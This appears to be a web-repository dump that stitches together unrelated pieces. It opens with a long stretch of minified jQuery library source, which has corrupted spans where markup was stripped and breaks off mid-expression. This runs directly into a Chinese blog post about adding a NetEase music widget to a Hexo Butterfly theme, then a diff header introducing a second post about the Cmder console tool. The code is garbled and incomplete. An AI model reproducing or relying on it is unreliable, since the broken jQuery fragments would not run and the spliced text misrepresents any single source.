j,k,l,m=[],n=[],o=g.length,p=f||ub(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:vb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=vb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=vb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sb(function(a){return a===b},h,!0),l=sb(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sb(tb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wb(i>1&&tb(m),i>1&&rb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xb(a.slice(i,e)),f>e&&xb(a=a.slice(e)),f>e&&rb(a))}m.push(c)}return tb(m)}function yb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=vb(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&gb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ib(f):f}return h=gb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,yb(e,d)),f.selector=a}return f},i=gb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&pb(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&rb(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&pb(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=jb(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),jb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||kb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&jb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||kb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),jb(function(a){return null==a.getAttribute("disabled")})||kb(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),gb}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){return M.access(a,b,c) +},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,bb=/<([\w:]+)/,cb=/<|&#?\w+;/,db=/<(?:script|style|link)/i,eb=/checked\s*(?:[^=]|=\s*.checked.)/i,fb=/^$|\/(?:java|ecma)script/i,gb=/^true\/(.*)/,hb=/^\s*\s*$/g,ib={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ib.optgroup=ib.option,ib.tbody=ib.tfoot=ib.colgroup=ib.caption=ib.thead,ib.th=ib.td;function jb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function kb(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function lb(a){var b=gb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function mb(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function nb(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function ob(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pb(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=ob(h),f=ob(a),d=0,e=f.length;e>d;d++)pb(f[d],g[d]);if(b)if(c)for(f=f||ob(a),g=g||ob(h),d=0,e=f.length;e>d;d++)nb(f[d],g[d]);else nb(a,h);return g=ob(h,"script"),g.length>0&&mb(g,!i&&ob(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(cb.test(e)){f=f||k.appendChild(b.createElement("div")),g=(bb.exec(e)||["",""])[1].toLowerCase(),h=ib[g]||ib._default,f.innerHTML=h[1]+e.replace(ab,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=ob(k.appendChild(e),"script"),i&&mb(f),c)){j=0;while(e=f[j++])fb.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=jb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=jb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(ob(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&mb(ob(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(ob(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!db.test(a)&&!ib[(bb.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(ab,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ob(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(ob(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&eb.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(ob(c,"script"),kb),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,ob(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,lb),j=0;g>j;j++)h=f[j],fb.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(hb,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qb,rb={};function sb(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function tb(a){var b=l,c=rb[a];return c||(c=sb(a,b),"none"!==c&&c||(qb=(qb||n(" +↑我这里选择的音乐 + +

然后我们复制一份butterfly/layout/includes/widget文件夹里面的card_announcement.pug文件(主要是因为公告是最好进行修改的东西了) ,改名为card_music.pug,把里面改成以下内容

+
1
2
3
4
5
6
.card-widget.music
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')
|
+ +

然后在|那一行,把你刚刚获得的网易云链接放进去(保留前面的|

+

然后保存,接着我们打开同目录下的index.pug

+

在里面你认为合适的位置加上以下内容

+
1
2
if theme.aside.card_music
include ./card_music.pug
+ +

如果你不需要开关可以不加if判断

+

接着打开butterfly.yml文件,在aside设置中加上一行

+
1
card_music: true
+ +

如果想关掉的时候设置成false即可

+

这样我们就成功把网易云的音乐加入自己的侧边小部件了!

+

不定期更新

Author: GamerNoTitle
Link: https://bili33.top/posts/butterfly-customize/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/cmder/index.html b/posts/cmder/index.html new file mode 100644 index 0000000000..16c28d7d60 --- /dev/null +++ b/posts/cmder/index.html @@ -0,0 +1,353 @@ +Cmd的互替软件,让Cmder来帮助你更好地使用控制台! | GamerNoTitle + + + + + + + + + + + + +

Cmd的互替软件,让Cmder来帮助你更好地使用控制台!

Cmder

+

问题:什么是Cmd?

命令提示符是在操作系统中,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。 ——来自 百度百科

+

为什么要用Cmder来替换Cmd呢?

1、Cmd有的时候复制粘贴很麻烦,Cmder则不会

+

2、Cmder可以分屏多开窗口,Cmd不行

+

